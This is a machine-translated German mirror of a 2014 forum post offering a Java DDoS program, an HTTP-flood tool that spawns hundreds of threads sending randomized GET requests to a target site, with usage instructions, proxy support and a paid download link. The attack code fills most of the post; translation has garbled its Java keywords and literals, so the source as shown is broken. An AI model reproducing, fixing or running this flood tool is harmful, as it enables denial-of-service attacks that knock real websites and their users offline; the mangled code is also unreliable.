Dieser Artikel ist ein Spiegelartikel der maschinellen Übersetzung, bitte klicken Sie hier, um zum Originalartikel zu springen.

Ansehen: 15524|Antwort: 0

[Tipps] Java-Version des D-DOS-Angreiferprogramms

[Link kopieren]
Veröffentlicht am 01.12.2014 15:21:57 | | |
JAR-Code
dDOS-Angriff von Java implementiert.
Es unterscheidet sich jedoch nicht von traditionellen dDos.
Diese Software ist ein DDOS-Angriff auf eine Seite.
Wie man verwendet:
Java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
java.nio.channels.Selector importieren;
java.nio.channels.SocketChannel importieren;
import java.util.Iterator;
java.util.Random importieren;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* Dämonenfäden
*
* @author Verwaltung
*
*/
Public Class Test {
    privater String-Host, uri, Param;
    privater Int-Hafen;
    privater Endvektor<CCDDOSThread> v = neuer Vektor<CCDDOSThread>();
    private InetSocketAddress isa;
    private Int Threads Anzahl = 500; Anzahl der Threads
    privat Zufällig r = neues Zufall();
    Private Long Timeout = 5000 Pfund;

    /**
     * Eröffnen Sie den Angriff
     */
    public void start() {
        für (int i = 0; ich < threadsCount; i++) {
            CCDDOSThread t = neuer CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = neuer Timer();
        t.schedule(new TimerTask() {
            Public Void run() {
                int count = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                für (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    wenn (th.isCancle() || !th.isAlive()) {
                        it.remove ();
                        th = null;
                        Zählen++;
                    } sonst if (ct - th.start > timeout) {
                        Auszeit, externes Ende
                        timeoutthreads++;
                        th.setCancle (wahr);
                        th.interrupt();
                        it.remove ();
                        th = null;
                        Zählen++;
                    }
                }
                wenn (Zählen == 0) {
                    Rückgabe;
                }
                System.out.println("Thread has been closed:"+count+", wobei der Timeout-Thread verbunden ist:"
                        + Timeout-Threads);
                für (int i = 0; Ich zähle <; i++) {
                    CCDDOSThread th = neuer CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100p);
        System.out.println ("Daemon-Thread gestartet:");
    }

    /**
     * @param Args
     */
    public static void main(String[] args) {
        wenn (args.length < 6) {
            System.out.println ("Anweisungen:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } sonst wenn (args.length >= 8) {
            Mit einem Agenten zusammenstellen
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        Test M = neuer Test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = neue InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Angriffsthreads
     *
     * @author zhanghongbo
     *
     */
    Klasse CCDDOSThread erweitert Thread {
        privater boolescher Cancle = falsch;
        öffentlicher langer Start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            Cancle zurückzugeben;
        }

        Public Void run() {
            langer Start = System.currentTimeMillis();
            Selektor-Selektor;
            versuchen {
                selector = Selector.open();
                SocketChannel sc;
                versuchen {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = wahr;
                    selector.close();
                    Rückgabe;
                }

                sc.configureBlocking(false);
                sc.register(Selektor, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 & !cancle) {
                    if (System.currentTimeMillis() - start > timeout) {
                        cancle = wahr;
                        Pause, warte;
                    }
                    set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    während (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > timeout) {
                            cancle = wahr;
                            Pause, warte;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove ();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Saitenkopf = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + Host
                                    + "\r\n" + "Verbindung:Close\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } fangen (IOException ex) {
                cancle = wahr;
            }
        }
    }
}
[/mw_shl_code]

Fertiges Produkt und Quellcode-Download: java ddos.zip (8.42 KB, Anzahl der Downloads: 0, Verkaufspreis: 2 Getreide MB)





Vorhergehend:Sprechen wir über den größten mysteriösen 400G-DDoS-Angriff der Geschichte
Nächster:Senden Sie das iPhone 6, um über die punktefreie Version mit Artefaktknacken zu sprechen
Verzichtserklärung:
Alle von Code Farmer Network veröffentlichten Software, Programmiermaterialien oder Artikel dienen ausschließlich Lern- und Forschungszwecken; Die oben genannten Inhalte dürfen nicht für kommerzielle oder illegale Zwecke verwendet werden, andernfalls tragen die Nutzer alle Konsequenzen. Die Informationen auf dieser Seite stammen aus dem Internet, und Urheberrechtsstreitigkeiten haben nichts mit dieser Seite zu tun. Sie müssen die oben genannten Inhalte innerhalb von 24 Stunden nach dem Download vollständig von Ihrem Computer löschen. Wenn Ihnen das Programm gefällt, unterstützen Sie bitte echte Software, kaufen Sie die Registrierung und erhalten Sie bessere echte Dienstleistungen. Falls es eine Verletzung gibt, kontaktieren Sie uns bitte per E-Mail.

Mail To:help@itsvse.com